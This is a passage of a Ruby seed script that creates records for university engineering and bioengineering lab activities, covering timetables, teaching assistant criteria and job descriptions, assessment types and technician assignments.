job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a575.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a575.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n\n\n a576 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"unknowncode53\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS+\", archived: true, in_drive: false, user_id: 2)\n at576 = ActivityTimetable.where(activity_id: a576.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a576.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a576.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a576.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a576.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a576.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a577 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode54\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: true, in_drive: false, user_id: 5)\n at577 = ActivityTimetable.where(activity_id: a577.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a577.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a577.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a577.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a577.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a578 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"unknowncode55\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: true, in_drive: false, user_id: 1)\n at578 = ActivityTimetable.where(activity_id: a578.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a578.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a578.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a578.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a578.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a578.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a579 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode56\").first_or_create!(name: \"Spectral Analysis\",\n name_abrv: \"SA\", archived: true, in_drive: false, user_id: 5)\n at579 = ActivityTimetable.where(activity_id: a579.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a579.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a579.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a579.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a579.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a580 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"unknowncode57\").first_or_create!(name: \"Spectral Analysis Extra\",\n name_abrv: \"SAX\", archived: true, in_drive: false, user_id: 4)\n at580 = ActivityTimetable.where(activity_id: a580.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a580.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a580.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a580.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a580.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a580.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a581 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"unknowncode58\").first_or_create!(name: \"INDUMACH\",\n name_abrv: \"INDUMACH\", archived: true, in_drive: false, user_id: 3)\n at581 = ActivityTimetable.where(activity_id: a581.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 5, setup_time: 5, takedown_time: 5, notes: \"\",\n capacity: 14, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a581.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a581.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a581.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a581.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a581.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a582 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"unknowncode59\").first_or_create!(name: \"Spectral Analysis\",\n name_abrv: \"SA\", archived: true, in_drive: false, user_id: 2)\n at582 = ActivityTimetable.where(activity_id: a582.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a582.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a582.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a582.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a582.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a582.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a583 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode60\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: true, in_drive: false, user_id: 3)\n at583 = ActivityTimetable.where(activity_id: a583.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a583.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a583.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a583.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a583.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a583.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a584 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode61\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: true, in_drive: false, user_id: 4)\n at584 = ActivityTimetable.where(activity_id: a584.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a584.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a584.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a584.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a584.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a584.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a585 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"unknowncode62\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: true, in_drive: false, user_id: 4)\n at585 = ActivityTimetable.where(activity_id: a585.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a585.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a585.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a585.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a585.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a585.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a586 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"unknowncode63\").first_or_create!(name: \"Wood composite\",\n name_abrv: \"WOODCOMP\", archived: true, in_drive: false, user_id: 3)\n at586 = ActivityTimetable.where(activity_id: a586.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a586.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a586.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a586.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a586.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a586.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a587 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode64\").first_or_create!(name: \"Impact testing\",\n name_abrv: \"IMPACTTESTING\", archived: true, in_drive: false, user_id: 4)\n at587 = ActivityTimetable.where(activity_id: a587.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a587.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a587.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will compare the impact toughness for steels of two different composition and two different processing conditions, using impact testers.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a587.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a587.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a587.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a588 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode65\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: true, in_drive: false, user_id: 5)\n at588 = ActivityTimetable.where(activity_id: a588.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a588.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a588.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will gain experience in using tensile test frames and extract mechanical properties from them such as Young’s modulus, yield stress, and ultimate strength for steels of different composition.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a588.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a588.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a588.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a589 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode66\").first_or_create!(name: \"Concrete Making & Testing\",\n name_abrv: \"WOODCOMP\", archived: true, in_drive: false, user_id: 3)\n at589 = ActivityTimetable.where(activity_id: a589.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a589.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a589.id).first_or_create!(criteria: \"\",\n job_desc:\"To understand the basic processes involved in cement hydration.To develop an understanding of mix design parameters on mortar rheology and strength.To gain experience in how to deal with statistical variation associated with destructive testing of brittle materials. Techniques used compression testing.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a589.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a589.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a589.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a590 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1510\").first.id, code: \"unknowncode67\").first_or_create!(name: \"Histology/Microscopy\",\n name_abrv: \"HIST/MICRO\", archived: true, in_drive: false, user_id: 4)\n at590 = ActivityTimetable.where(activity_id: a590.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a590.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a590.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a590.id).first_or_create!(assess_weight: nil, notes: \"Claire is MEE lead. We don't do post-lab assessment for this lab practical.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a590.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a590.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a591 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"unknowncode68\").first_or_create!(name: \"Microscopy\",\n name_abrv: \"MICROSCOPY\", archived: true, in_drive: false, user_id: 3)\n at591 = ActivityTimetable.where(activity_id: a591.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a591.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a591.id).first_or_create!(criteria: \"\",\n job_desc:\"Using digital camera and Motic software to take images of stained tissue sections\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a591.id).first_or_create!(assess_weight: nil, notes: \"Includes histology staining\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a591.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a591.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a592 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"unknowncode69\").first_or_create!(name: \"Histology staining\",\n name_abrv: \"HISTSTAINING\", archived: true, in_drive: false, user_id: 5)\n at592 = ActivityTimetable.where(activity_id: a592.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 25, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a592.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a592.id).first_or_create!(criteria: \"\",\n job_desc:\"Staining animal tissue sections using H&E - paraffin embedded and frozen sections\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a592.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a592.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a592.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a593 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"unknowncode70\").first_or_create!(name: \"Cell culture 2: MTT Assay\",\n name_abrv: \"MTTASSAY\", archived: true, in_drive: false, user_id: 4)\n at593 = ActivityTimetable.where(activity_id: a593.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a593.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a593.id).first_or_create!(criteria: \"Cell culture and aseptic technique. Biological assays.\",\n job_desc:\"Using the MTT assay to measure metabolic activity of the cells seeded onto biomaterial disks\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a593.id).first_or_create!(assess_weight: nil, notes: \"Includes aseptic techniques\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a593.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a593.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a594 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"unknowncode71\").first_or_create!(name: \"Cell culture 1: Aseptic techniques\",\n name_abrv: \"ASEPTICTECH\", archived: true, in_drive: false, user_id: 1)\n at594 = ActivityTimetable.where(activity_id: a594.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a594.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a594.id).first_or_create!(criteria: \"Cell culture and aseptic technique.\",\n job_desc:\"Seeding HaCaT cells onto 3 biomaterial 